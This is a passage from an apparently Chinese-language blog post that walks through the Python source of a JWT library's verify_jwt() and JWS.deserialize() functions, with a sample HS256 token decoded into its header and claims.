</span></span><span class="line"><span class="cl">            <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;exp claim not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">exp</span> <span class="o">&lt;=</span> <span class="n">now</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;expired&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">parsed_header</span><span class="p">,</span> <span class="n">parsed_claims</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>代码很长，我们进行逐段分析：</p>
<ol>
<li>对参数<code>allowed_algs</code>进行校验</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># allowed_algs为空时的处理</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">allowed_algs</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">allowed_algs</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 如果不是列表则抛出错误</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">allowed_algs</span><span class="p">,</span> <span class="nb">list</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;allowed_algs must be a list&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="2">
<li>按照<code>.</code>号将JWT分为三段，并将<code>header</code>部分解码</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">header</span><span class="p">,</span> <span class="n">claims</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">parsed_header</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">header</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="3">
<li>检验<code>header</code>字段是否合规</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 判断alg字段内容是否合规</span>
</span></span><span class="line"><span class="cl"><span class="n">alg</span> <span class="o">=</span> <span class="n">parsed_header</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;alg&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">alg</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;alg header not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">alg</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">allowed_algs</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;algorithm not allowed: &#39;</span> <span class="o">+</span> <span class="n">alg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 检查Header是否匹配JWSHeaderRegistry（默认不检查）</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="ow">not</span> <span class="n">ignore_not_implemented</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">parsed_header</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">k</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">JWSHeaderRegistry</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;unknown header: &#39;</span> <span class="o">+</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">JWSHeaderRegistry</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">.</span><span class="n">supported</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;header not implemented: &#39;</span> <span class="o">+</span> <span class="n">k</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="4">
<li><strong>对签名进行验证</strong></li>
</ol>
<p>函数对签名的验证过程在<code>JWS.deserialize()</code>中，本文随后对其进行源码分析。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 如果传参了公钥pub_key便对签名进行验证</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">pub_key</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">token</span> <span class="o">=</span> <span class="n">JWS</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">token</span><span class="o">.</span><span class="n">allowed_algs</span> <span class="o">=</span> <span class="n">allowed_algs</span>
</span></span><span class="line"><span class="cl">    <span class="n">token</span><span class="o">.</span><span class="n">deserialize</span><span class="p">(</span><span class="n">jwt</span><span class="p">,</span> <span class="n">pub_key</span><span class="p">)</span> <span class="c1"># 对JWT进行JWS反序列化</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 如果不允许不签名就抛出错误</span>
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="s1">&#39;none&#39;</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">allowed_algs</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;no key but none alg not allowed&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="5">
<li>对<code>payload</code>部分进行相关检验</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">parsed_claims</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">claims</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">utcnow</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">utcnow</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">now</span> <span class="o">=</span> <span class="n">timegm</span><span class="p">(</span><span class="n">utcnow</span><span class="o">.</span><span class="n">utctimetuple</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">typ</span> <span class="o">=</span> <span class="n">parsed_header</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;typ&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">typ</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">checks_optional</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;typ header not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="n">typ</span> <span class="o">!=</span> <span class="s1">&#39;JWT&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;typ header is not JWT&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">iat</span> <span class="o">=</span> <span class="n">parsed_claims</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;iat&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">iat</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">checks_optional</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;iat claim not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="n">iat</span> <span class="o">&gt;</span> <span class="n">timegm</span><span class="p">((</span><span class="n">utcnow</span> <span class="o">+</span> <span class="n">iat_skew</span><span class="p">)</span><span class="o">.</span><span class="n">utctimetuple</span><span class="p">()):</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;issued in the future&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">nbf</span> <span class="o">=</span> <span class="n">parsed_claims</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;nbf&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">nbf</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">checks_optional</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;nbf claim not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="n">nbf</span> <span class="o">&gt;</span> <span class="n">now</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;not yet valid&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">exp</span> <span class="o">=</span> <span class="n">parsed_claims</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;exp&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">exp</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">checks_optional</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;exp claim not present&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="n">exp</span> <span class="o">&lt;=</span> <span class="n">now</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="n">_JWTError</span><span class="p">(</span><span class="s1">&#39;expired&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="6">
<li>返回解析后的<code>header</code>和<code>payload</code>部分的内容</li>
</ol>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">return</span> <span class="n">parsed_header</span><span class="p">,</span> <span class="n">parsed_claims</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>总结一下，对于这样的一个JWT：</p>
<pre tabindex="0"><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ZmFsc2UsImV4cCI6MTc0NzAzMzI1MiwiaWF0IjoxNzQ3MDMyOTUyLCJqdGkiOiJWNEtjSnVBRnRSUEd0ZnVzbVdJbTZRIiwibmJmIjoxNzQ3MDMyOTUyfQ.tuY-k9-4kB5mVtL4PAZn9-ABdr6eBPE-24j_jIAeAQM
</code></pre><p>经过<code>verify_jwt()</code>的处理后，可以得到：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">header</span><span class="p">,</span> <span class="n">claims</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">jwt</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># header = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span>
</span></span><span class="line"><span class="cl"><span class="c1"># claims = eyJhZG1pbiI6ZmFsc2UsImV4cCI6MTc0NzAzMzI1MiwiaWF0IjoxNzQ3MDMyOTUyLCJqdGkiOiJWNEtjSnVBRnRSUEd0ZnVzbVdJbTZRIiwibmJmIjoxNzQ3MDMyOTUyfQ</span>
</span></span><span class="line"><span class="cl"><span class="n">parsed_header</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">header</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># parsed_header = {&#34;alg&#34;:&#34;HS256&#34;,&#34;typ&#34;:&#34;JWT&#34;}</span>
</span></span><span class="line"><span class="cl"><span class="n">parsed_claims</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">base64url_decode</span><span class="p">(</span><span class="n">claims</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># parsed_claims = {&#34;admin&#34;:false,&#34;exp&#34;:1747033252,&#34;iat&#34;:1747032952,&#34;jti&#34;:&#34;V4KcJuAFtRPGtfusmWIm6Q&#34;,&#34;nbf&#34;:1747032952}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>并且会将JWT传入到<code>JWS.deserialize()</code>进行签名验证。</p>
<h3 id="jwsdeserialize">JWS.deserialize()</h3>
<p><code>JWS.deserialize()</code>的源码如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">deserialize</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">raw_jws</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">alg</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="bp">self</span><span class="o">.</span><span class="n">objects</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="n">o</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">djws</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">raw_jws</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="s1">&#39;signatures&#39;</span> <span class="ow">in</span> <span class="n">djws</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">o</span><span class="p">[</span><span class="s1">&#39;signatures&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">                <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">djws</span><span class="p">[</span><span class="s1">&#39;signatures&#39;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">                    <span class="n">os</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_signature</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="n">o</span><span class="p">[</span><span class="s1">&#39;signatures&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">os</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_b64</span><span class="p">(</span><span class="n">o</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;protected&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">o</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_signature</span><span class="p">(</span><span class="n">djws</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_b64</span><span class="p">(</span><span class="n">o</span><span class="p">,</span> <span class="n">o</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;protected&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="s1">&#39;payload&#39;</span> <span class="ow">in</span> <span class="n">djws</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="n">o</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;b64&#39;</span><span class="p">,</span> <span class="kc">True</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                    <span class="n">o</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">djws</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="n">o</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">djws</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="n">raw_jws</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">raise</span> <span class="n">InvalidJWSObject</span><span class="p">(</span><span class="s1">&#39;Unrecognized&#39;</span>
</span></span><span class="line"><span class="cl">                                        <span class="s1">&#39; representation&#39;</span><span class="p">)</span> <span class="kn">from</span> <span class="bp">None</span>
</span></span><span class="line"><span class="cl">            <span class="n">p</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">o</span><span class="p">[</span><span class="s1">&#39;protected&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_b64</span><span class="p">(</span><span class="n">o</span><span class="p">,</span> <span class="n">o</span><span class="p">[</span><span class="s1">&#39;protected&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">            <span class="n">o</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">            <span class="n">o</span><span class="p">[</span><span class="s1">&#39;signature&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">objects</span> <span class="o">=</span> <span class="n">o</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>  <span class="c1"># pylint: disable=broad-except</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">InvalidJWSObject</span><span class="p">(</span><span class="s1">&#39;Invalid format&#39;</span><span class="p">)</span> <span class="kn">from</span> <span class="nn">e</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">key</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">alg</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>该方法同时实现了对<strong>JWS JSON 序列化</strong>和<strong>JWS 紧凑序列化</strong>的反序列化。首先，<code>JWS.deserialize()</code>先对传入的字符串尝试进行JSON解析。如果能正常解析，则进入对JWS JSON 序列化的处理流程；反之，如果抛出了<code>ValueError</code>错误，则进入对JWS 紧凑序列化的处理流程。</p>
<p>对JWS JSON 序列化的处理流程如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">djws</span> <span class="o">=</span> <span class="n">json_decode</span><span class="p">(</span><span class="n">raw_jws</span><span class="p">)</span> <span class="c1"># JSON解析</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 对通用形式的处理</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="s1">&#39;signatures&#39;</span> <span class="ow">in</span> <span class="n">djws</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">o</span><span class="p">[</span><span class="s1">&#39;signatures&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">djws</span><span class="p">[</span><span class="s1">&#39;signatures&#39;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="n">os</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_signature</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="c1"># 提取protected、header、signature</span>
</span></span><span class="line"><span class="cl">            <span class="n">o</span><span class="p">[</span><span class="s1">&#39;signatures&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">os</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_b64</span><span class="p">(</span><span class="n">o</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;protected&#39;</span><span class="p">))</span> <span class="c1"># 校验b64值</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 对扁平化形式的处理</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">o</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_signature</span><span class="p">(</span><span class="n">djws</span><span class="p">)</span> <span class="c1"># 提取protected、signature</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_deserialize_b64</span><span class="p">(</span><span class="n">o</span><span class="p">,</span> <span class="n">o</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;protected&#39;</span><span class="p">))</span> <span class="c1"># 校验b64值</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="s1">&#39;payload&#39;</span> <span class="ow">in</span> <span class="n">djws</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">o</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;b64&#39;</span><span class="p">,</span> <span class="kc">True</span><span class="p">):</span> <span class="c1"># 若b64为True（True为默认值，且可以不标注）</span>
</span></span><span class="line"><span class="cl">            <span class="n">o</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">base64url_decode</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">djws</span><span class="p">[</span><span class="s1">&#39;payload&#39;</span><span class="p">]))</span> <span class="c1"># 对payload进行base64解码</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
